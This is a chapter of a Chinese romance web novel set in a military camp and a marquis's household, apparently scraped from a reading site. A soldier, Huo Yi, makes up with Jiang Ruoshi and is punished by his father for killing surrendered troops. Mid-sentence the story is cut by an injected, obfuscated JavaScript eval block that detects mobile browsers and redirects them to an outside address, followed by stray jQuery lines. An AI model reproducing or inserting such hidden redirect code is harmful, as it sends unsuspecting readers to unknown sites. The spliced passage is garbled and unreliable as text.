7. 道歉
作品:《军师她不想干了》 天光大亮。
睡梦中的霍逸一整夜都感觉到自己鼻尖一直萦绕着一股熟悉的幽香,等到他从睡梦中醒来后,却发现幽香是从自己身上的被子里散发出来。
抱着怀里的被子,霍逸闭上双眼深吸一口,脸上满是餍足。
这一幕被进来的江若时尽收眼底,手里端着的碗一下子就摔在了地上,发出了一道声响,碗里的粥也全撒在了地上。
沉浸其中的霍逸被这声声响惊醒,朝着门口看去,只剩下江若时朝门外跑去的背影。
情急之下,霍逸光着脚就朝着江若时追去,三步并作两步就追上了她。
“不是,小时你先听我解释······”霍逸拦着江若时连忙解释道。
“我没误会,你先赶紧回去换衣服。”江若时看着他就穿着一身黑色里衣就追了出来,连忙推着他就往营帐里走。
营地里来来往往的士兵看着两人推搡的身影以及自家世子狼狈的模样全都瞪大了眼睛。
在众目睽睽之下,霍逸就这样被推回了营帐。
一进到营帐里面,江若时就赶紧把帘子放了下来,挡住了外面的视线。
隔绝了外面的视线后,两人站在营帐里面相对无言。
“小时,我······”霍逸吞吞吐吐地想要解释刚才的事情,却被江若时打断。
“还没问你昨天战果怎么样了?”江若时连忙转移话题道。
“还好。”霍逸见她不想谈那件事,也只好先顺着她的话回答道。
“这样啊,你先坐着,我去给你拿衣服。”江若时看着仅着一身里衣的霍逸说道,转身就离开了营帐,留下霍逸一个人待在营中。
看着离开的江若时,霍逸懊恼地朝着旁边的桌子就锤了一下,桌面猛地颤了一下,震得桌子上的茶杯叮当作响,只能垂头丧气等着江若时给自己送衣服。
等了许久,霍逸迟迟不见江若时进来,刚要出去看看,高副将却拿着衣服进来了。
“世子,江姑娘让我来给你送衣服。”高副将将手里的衣服递给了霍逸。
“她人呢?”霍逸接过衣服,询问道。
“江姑娘把衣服交给我之后就匆匆离开了,是有什么事要找江姑娘吗?”高副将老实回答道。
“没有,你出去吧。”霍逸烦躁地翻开手里的衣服,胡乱地套在了身上。
匆匆套好衣服后,霍逸走出了营帐,四处寻找着江若时的身影。
结果却在一边清点战利品的人员里发现了她的身影,手里捧着一个本子四处不知道在在记什么。
霍逸快步走到江若时的身边,手刚要碰上她的肩膀时,江若时却一个侧身避开了霍逸的手。
看着江若时躲他的动作,霍逸的眼神瞬间沉了下来,但很快就调整了过来,装作毫无察觉的样子继续接近江若时。
“我们待会儿回府一趟吧,父亲他们还不知道昨天的事。”霍逸边帮忙清点东西边说道。
“嗯。”江若时一直看着手里的本子,嘴上虽然在回应着霍逸,但眼神却丝毫没有落在他身上。
看着江若时背对着自己的身影,霍逸眉眼低垂亦步亦趋地跟在她身后。
眼见自己躲不开缠着自己的霍逸,江若时加快了手上清点的动作,转身就想要离开这里,却被霍逸一把抓住手腕,带着她就出了营地。
昨日霍逸骑过的战马还在营外的木桩上拴着,霍逸一手拉着江若时,一手解开缰绳,抱着江若时就坐到了马上。
被抱上马的江若时努力向前靠去,不让自己和霍逸有任何接触。
霍逸看着自己身前不断往前坐的江若时,心下一阵好笑,双手绕到她腰前,环住她整个腰身后,使劲一拉缰绳,战马的前蹄瞬间跃起,江若时一下就靠在了霍逸的身上,后背与他温热的胸膛紧贴在一起。
江若时刚直起身子,想要离霍逸远一点,身下的战马却已经在霍逸的操控下朝着前方跑了起来,刚拉开的一点距离瞬间再次消失,两人贴得更加紧密。
见反抗无效,江若时彻底放弃了,躺在霍逸的怀里,任由对方抱着她的腰。
阴谋得逞后的霍逸安心得抱着怀里的小人,驾着马朝着晋安城驶去。
战马很快就带着两人到了晋安城内,经过一家小食铺时,霍逸抱着江若时下了马,说道:“你在这里等我一下,我马上出来。”
说完霍逸转身就进了小食铺里,留下江若时和战马站在原地大眼瞪小眼。
对峙许久,战马摇头晃脑地就朝着江若时凑了过来。
“马随主人形,跟你主子一样坏。”江若时躲开战马顶过来的脑袋,轻轻地在它脑袋拍了两下。
霍逸从小食铺里抱着几个油纸包出来时,正好就看到这样一副场景:
漂亮的姑娘站在战马面前,柔若无骨的手抚在战马黑亮的鬃毛上,战马则是顺从地低下头,任由女孩把它原本柔顺的鬃毛揉成乱糟糟的一团。
霍逸笑着走过去后,原本笑着的江若时瞬间就收回了笑容,把脸侧到了一边,只留下一半侧脸对着霍逸。
看着板着脸的江若时,霍逸走上前,把手里的点心一股脑的全放在了她的怀里。
江若时怀里被塞进一堆东西,也顾不得生气,手忙脚乱地抱紧怀里的东西,转头瞪了霍逸一眼后,就转过身背对着霍逸。
“我给你买了如意坊的点心,看在点心的份上,别生我气了,好吗?”霍逸跟着江若时一起转身,她朝着哪里看,他就跟着站到哪里。
“我没生气······”江若时看着跟着自己转来转去的霍逸,心里的气一下就泄了出来。
“真不生气了,那我们回家?”霍逸试探性地伸手去拉江若时,见她没有反抗,自然而然地就牵着她朝着侯府所在的地方走去。
一路上两人一马间奇怪的氛围惹得来来往往的行人不断回头。
迎着这种奇怪的视线,两人走到了侯府门前,霍逸将手里牵着的缰绳递给门前的侍卫后,带着江若时就进了侯府。
一进侯府,就看到孟烟坐在演武场台下的椅子上,手里端着一杯清茶看着霍岐站在台上练剑。
霍岐足尖轻点地面,玄铁剑划破凝滞的空气,划出道道银光。
霍逸和江若时默默站到孟烟的身后,静静等待。
台上的霍岐腕间翻转,剑尖如灵蛇吐信,剑穗跟着剑身在空中猎猎作响。
随着最后一个剑式的落下,霍岐手里的玄铁剑也重新回鞘。
霍岐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016225|178454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着手里的剑下了演武台,拿过桌上的茶水一饮而尽后,接过孟烟递来的手帕擦拭脸上并不存在的汗水。
“昨天的事情处理完了?”霍岐放下手里的帕子,对着霍逸问道。
“处理完了。”霍逸站在一边老老实实回答道。
“我听人说,你把降兵全杀了?”霍岐语气不明道。
“是。”
“你知道你这样做被传出去后,会面临什么结果吗?”霍岐朝着手边的桌子用力一拍,连带着桌上的茶具一齐晃动起来。
坐在桌边的孟烟抬眼瞅了霍岐一眼,霍岐原本拔高的声音瞬间恢复了正常。
“无非就是多添一些关于我的流言而已。”霍逸无所谓道。
“而已!你知不知道流言害死人,我警告你,下次再犯这些错误,你就别在军营里待着了。现在给我滚去祠堂里跪着,等到你什么时候想通了,你再给我出来。”霍岐抄起手边的茶杯就砸到了霍逸的头上。
霍逸站在原地也不动,茶杯不偏不倚地刚好砸在霍逸的额头上,额头上很快就红肿了起来。
一边的孟烟赶紧站起身来,对着江若时说道:“小时你带他去祠堂。”
江若时听到这话,赶紧上前拉着霍逸往后院走去。
霍岐还想教训几句,一边的孟烟猛地拉住他的袖子,整张脸阴沉沉地看向他。
“夫人,我······”霍岐语气一下子就软了下来,话还没说完,一边的耳朵就被孟烟揪住了。
“轻点、轻点,夫人······”霍岐强忍着耳朵被撕扯的疼痛,跟着孟烟就离开了演武场。
在一边伺候的侍从对这幅场景也是见怪不怪,低下头当作看不见一样继续干着自己手里的事。
回到后院的江若时拉着霍逸就进了他的听松苑,把人安顿在了院子里的凉亭里后,江若时就进了霍逸的卧室里,轻车熟路地就从柜子里找出了金疮药。
拿着手里的药,江若时回到了凉亭。
霍逸坐在凉亭静静地看着跃出水面的锦鲤,神色不明。
江若时拿着药坐到霍逸的眼前,指尖轻点上霍逸额头上鼓起的红肿。
“嘶······”
“现在知道疼了,明知道侯爷会因为你杀了降兵生气,干嘛还要杀,关起来不就行了。”江若时手指沾上一点药粉轻轻抹在他的额头上。
“他们也是这样对待我们的人,我只不过是以其人之道,还治其人之身。”
“他们那样做是因为他们不是人,那你呢,也不是人?”江若时听到着话,原本轻轻抹药的手指使劲地在霍逸的额头上戳了下去。
“我没想那么多······”霍逸低下了头,任由江若时乱戳。
“唉······”江若时深深叹了一口气,继续给霍逸上药。
看着江若时不说话了,霍逸刚要悄悄挪动身子蹭到她的身边却被突然一声打断了。
“世子,侯爷让您上好药之后,赶紧去祠堂跪着。”一名小厮站在听松苑外朝着院里喊道。
突然被打断的霍逸只好挪回去,起身就出了听松苑,跟着小厮就去了祠堂,留下江若时一个人坐在凉亭之中,眼睛凝望着霍逸离去的背影,似乎是在思考着什么。

